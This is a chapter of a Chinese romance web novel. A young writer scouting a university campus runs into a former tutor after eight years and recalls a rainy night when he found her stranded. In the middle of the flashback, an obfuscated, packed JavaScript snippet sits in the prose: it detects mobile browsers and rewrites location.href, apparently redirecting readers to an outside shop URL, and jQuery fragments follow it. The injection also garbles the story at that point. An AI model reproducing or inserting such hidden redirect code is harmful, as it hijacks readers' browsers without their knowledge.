没了盛夏的灼热感,阳光变得柔软起来。
沐鸢游走在云北大学校道上时,看着一幕幕的风景,恍惚了一下。
她的大学是在南方读的,秋天的树叶不会成片的泛黄。整整大学四年,她都是在一刻不停的兼职中度过的,从来没有这么悠闲的逛过自己的校园,更不用说欣赏那些美好的风景。
前几天主编给她发的故事大纲里有一处地点是在云北大学,她今天是来采风的。
找了个路边的石板凳坐下,从白色帆布包里翻出笔记本,开始记录着什么。
她不笑的时候,眉目清冷,总是给人疏离感。
风吹起她垂落的发丝,光影细碎散了一些在她的身上,在这时也显得有些许柔和起来。
沐鸢一路往前,逛到了篮球场。
场上人声鼎沸,看台上跟球场边人头颤动,都被围了个水泄不通。女生居多,都在抱着奶茶饮料垫脚张望。
球擦着蓝框入网落回地面,发出“咚咚”的声响,场上响起一片欢呼。
刚好累了,明眸往四周环顾一圈,锁定了白玉兰树下的石板凳。沐鸢坐下后,拧开瓶盖喝了一点水,顺势捶起了腿,打量起周围的环境。
人群外围有几个女生议论声很大,沐鸢听清了一些。
“你有没有发现?那个11号好像不是我们学校的。”
“应该不是吧,是我们学校的话,早就被挂在校园贴吧上了。”
“我也早发现他了,感觉他跟江校草很熟悉的样子,他们一直用眼神打配合呢。”
“不知道是哪个学校的。”
“啊啊啊啊,长得好帅啊!看起来很高智的样子,怎么没有考上我们学校?”
“他要是在我们学校,我高低暗恋四年。”
有人惊讶了一声,“你们竟然不知道?”
“他是我们学校的校友,忘记是哪届的了。”
“啊?”
“照片还贴在门口的名人墙上呢。”
“......”
对一些青春期女生讨论帅哥的八卦不感兴趣,后面的对话沐鸢没留意听,拿出手机看工作信息。
刚好学姐韩卓伊打了电话,她顺手接起来。
韩卓伊语气恹恹,“沐小鸢,你在干什么?”
“在云大闲逛。”
篮球赛散场,人群跟着颤动起来,沐鸢听不太清,点开了免提,起身往篮球场外走。
“云大?”韩卓伊很激动,音量也提高了不少,“早就听说那里帅哥云集,快帮姐姐看看有没有帅炸天的小奶狗。”
“没看到什么狗,湖边有几只鹅,抓回去给你补补?”
对方一副恨铁不成钢的样子,“死女人,你怎么油盐不进。”
沐鸢眉眼弯弯,顺着她,“好了,看到小奶狗我就飞扑上去帮你要微信行了吧,够不够?”
韩卓伊抿抿嘴,声音放轻了很多,“那倒不用,你只需要偷偷拍个照给我过过眼瘾就好。”
韩卓伊是时尚届一名小模特,声称见多了胭脂水粉的男艺人导致她七情六欲已经离家出走好多年了,一天天嚷嚷着要对清纯男大下手,沐鸢知道她口嗨,真要行动她又变成缩头乌龟了。
沐鸢故意逗她,“那怎么行,我还要把他衣服扒了送......”
边说着边低头从包包里找耳机,结果一个踉跄,脚下被绊了一下。
她下意识的一声惊呼,下一秒感觉腰部被一只手掌稳稳的托住。
为了衬托青春洋溢的校园气息,她今天打扮很随意,牛仔裤搭配紧身白色短T。温热的触感从柔软的布料传到她的肌肤,沐鸢触电般瞬间反应过来,连忙调整好站姿。
她赶忙道谢,抬头时,却撞进了一双深邃的瞳孔里。
时间定格住,风似乎也停止了流动。她呼吸都慢了半拍。
男人骨相立体鼻梁高挺,眼尾沾着点运动的红,正垂眸睨着她,看不出任何情绪。
韩卓伊听到她短而急促的惊呼后又开始道谢,这会儿突然安静下来,以为人走远了,悠悠的声音传来,“怎么了?真去扑男人了?”
“太饥渴了你。”
意识到手机还在通话,她慌乱的收回视线,随口解释,“没有,不小心撞到一个陌生人。晚点跟你说,先挂了。”
周围人来人往,但此刻世界安静的好像就只剩下他们两个。
八年,整整八年的时间过去,她没想到还会遇到他,沐鸢眼底流光闪烁。
画面开始虚焦,似乎那年夏天少年温柔的声音在耳畔响起,“我在云大等你。”
沐鸢后知后觉,这里是周熠辞的母校。
她曾经跟他说过,她也想考上的大学。
云层随着风慢移,挡住了阳光,地上两个交叠的影子消失不见。
几秒光景,他们沉默的对视着。
从八年前她决定彻底跟他断联后,就没有想过以后的生活会有交集,所以现在他们两个跟陌生人无异,
她更没有想过八年的时间过后,他还会记得自己。
她冲他礼貌的点头,准备抬步离开。结果男人伸出手,挡在她面前。
沐鸢顿住了脚步,没等她开口,周熠辞先打破了沉静:“有纸巾吗?”
沐鸢啊了一声,不明所以的看着他。
男人抬手扫了一下额前头发,几缕沾了汗液的发丝垂落下来,恰好擦过眉骨。汗滴从他的脸颊滑下,沐鸢反应过来,掏出了小包纸巾递给他。
男人没有接,沐鸢递出去的手在半空中。
他笑了一声,两手摊开,掌心朝上伸到她面前,“我手脏。”
此情此景,让沐鸢倏地想起了八年前某个回忆片段。
高三开学两个星期后,阴晴不定的天气,雨说下就下。
天气预报说傍晚六点雨势很大,林沐雪舞蹈机构临时通知不用上课,被司机提前接回家了,没有喊沐鸢。她不知道舞蹈机构放假了,照常在学校教室里等林沐雪下课。
从学校出来的时候已经五点半了,外面下起了瓢泼大雨,她没带伞,只能沿着学校的走廊到校门口。
她等了好久,越等越冷。
看了眼时间,已经过六点好久了,她心里着急起来,担心林沐雪是不是发生什么意外了,拔腿就往舞蹈机构跑。舞蹈机构离学校不远,跑过去也要五六分钟。
雨势渐大,尽数落在了沐鸢的身上。
乌云笼罩了光线,大街上白茫茫一片。
雨水打湿了她的眉眼,遮挡了小部分视线,没注意到水坑,她脚一歪便摔了一跤,身上沾满了泥水。
到达舞蹈机构时,发现大门紧锁。
沐鸢心里咯噔一声,嘴角蔓延出苦笑。
呵。
又被抛弃了
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17544367|204065||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。
她站在机构的房沿下,思考了一秒,准备冲进雨幕里。
口袋里的小灵通在振动,她掏出来,看到了周熠辞发来的两条信息:
【回家了吗】
【吃饭了吗】
没回家。
也没吃饭。
她不想骗人更不想被人知道自己的落魄处境,索性把屏幕熄灭放回口袋。
......
周熠辞把车停在桐城十六中门口,等了一会儿,没有回复。
右手打了两圈方向盘,调转车头,往那条熟悉的路开去。沿路观察了下行人,果不其然看到了那道身影。
这会儿,沐鸢跑累了,找了个便利店避避雨。突然,一道声音喊住了她,嗓音低沉,“怎么不回信息?”
沐鸢顺着声音转头,大雨滂沱,周围的温度急剧下降,她却感到眼眶一热。
她早已习惯了被抛弃,小时候被抛弃在福利院,养母把她丢在游乐场,如今养妹抛弃她一个人回了家。每一次她都没有哭,而是一次又一次不停找到回去的路。
但他...一个她被林沐雪威胁去上家教课而认识的老师,总是能找到她。
浑身湿透了的女孩只是定定的站着,周熠辞收起身上的戾气,上前抚摸一下她的额头,“你怎么了?不舒服吗?”
沐鸢动了一下,假装不经意的避开他的触碰,“没。”抬头望向他,缓缓启唇,“今天还要补课吗?”
她好冷,想回家。
周熠辞没有回答这个问题,有点着急,“先进车里,我放了暖气。”
沐鸢看了一眼路边停的车,又望向他那被雨水打湿的头发,犹豫不肯上前。她轻轻摇头,低头看着自己膝盖跟鞋底的泥,喃喃低语,“我脏。”
绑头发的皮筋早在奔跑摔跤的时候崩断,此刻占满雨水和泥的头发糊了她一脸。
他沉着脸看了她一会儿,伸手把她的书包拽下来丢进了车里,又拿了条毛茸茸的白色大毛巾出来。
刚要把毛巾裹在她身上,她抬手抵了一下,眼里满是抗拒。
周熠辞抵了下后槽牙,厉声道:“听话。”
沐鸢抽回了手,双手抱在胸前,手指抓紧了身侧的衣服料子,嘴唇打着哆嗦。
周熠辞把毛巾整个盖在她身上,包括她的头发。雨水顺着发丝滴落,她感觉到他指尖隔着柔软的布料擦过她的发顶,力道轻轻柔柔的。
她垂着的眼睫轻轻颤了颤,趁他调整毛巾的时候,飞快抬眼瞥了他一下。她个子高,抬头时,视线刚好与他抿得有些紧的唇线平齐。
他平日里带笑的眉眼此刻敛了所有锋芒,眼尾还泛着一点红。
他好像做什么事情都很认真。
沐鸢感觉到心里像被羽毛轻轻扫过。
她仍记得,那条毛巾厚且大,能把她全身上下都包裹住,那种温暖足够抵抗铺面而来的风雨。
......
斜阳的暖光再次打在两人的身上,沐鸢从那个冰凉的雨夜里抽离出来。
这一刻,他对她说出“我手脏”。
在沐鸢看来,以为他是想礼尚往来的意思。
今时不同往日了,她不认为现在的自己可以若无其事的给他擦干净手。
那就只能倒打一耙了。
她盯着他手看,鬼使神差的说了一句,“手脏那刚刚还碰我?”